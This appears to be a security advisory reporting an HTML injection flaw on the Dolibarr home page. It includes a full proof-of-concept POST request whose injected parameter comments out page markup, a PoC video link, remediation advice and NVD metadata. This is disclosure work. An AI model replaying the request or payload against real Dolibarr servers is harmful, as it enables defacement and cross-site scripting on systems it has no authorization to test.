Observed a HTML Injection vulnerbaility in the Home page of Dolibarr Application. This vulnerability allows an attacker to inject arbitrary HTML tags and manipulate the rendered content in the application's response. Specifically, I was able to successfully inject a new HTML tag into the returned document and, as a result, was able to comment out some part of the Dolibarr App Home page HTML code. This behavior can be exploited to perform various attacks like Cross-Site Scripting (XSS).
HTTP Post Request: POST /dolibarr/index.php?mainmenu=home HTTP/1.1 Host: 192.168.37.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.37.129/dolibarr/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 375 Origin: http://192.168.37.129 Connection: close Cookie: <Redacted> Upgrade-Insecure-Requests: 1
token=697c1f303ef1976a713eda01d20d8eab&actionlogin=login&loginfunction=loginfunction&backtopage=&tz=5.5&tzstring=Asia%2FKolkata&dstobserved=0&dstfirst=&dstsecond=&screenwidth=1280&screenheight=587&dolhidetopmenu=&dolhideleftmenu=&doloptimizesmallscreen=&dolnomousehover=&dolusejmobile=&username=admin&password=manikanta&u70ea%22%3e%3c!--HTMLInjectionBySai=1
POC Kindly go through the below video for detailed steps:
https://user-images.githubusercontent.com/26869643/294010332-ff88d80b-cb26-4870-82d3-fb49f7ecc32f.mp4
Remediation Suggestion Kindly validate and sanitize all user-supplied input, especially within HTML attributes, to prevent HTML injection attacks. Implement proper output encoding when rendering user-provided data to ensure it is treated as plain text rather than executable HTML.
{ "nvd_published_at": "2024-01-25T20:15:41Z", "cwe_ids": [ "CWE-79", "CWE-80" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-04-18T16:42:32Z" }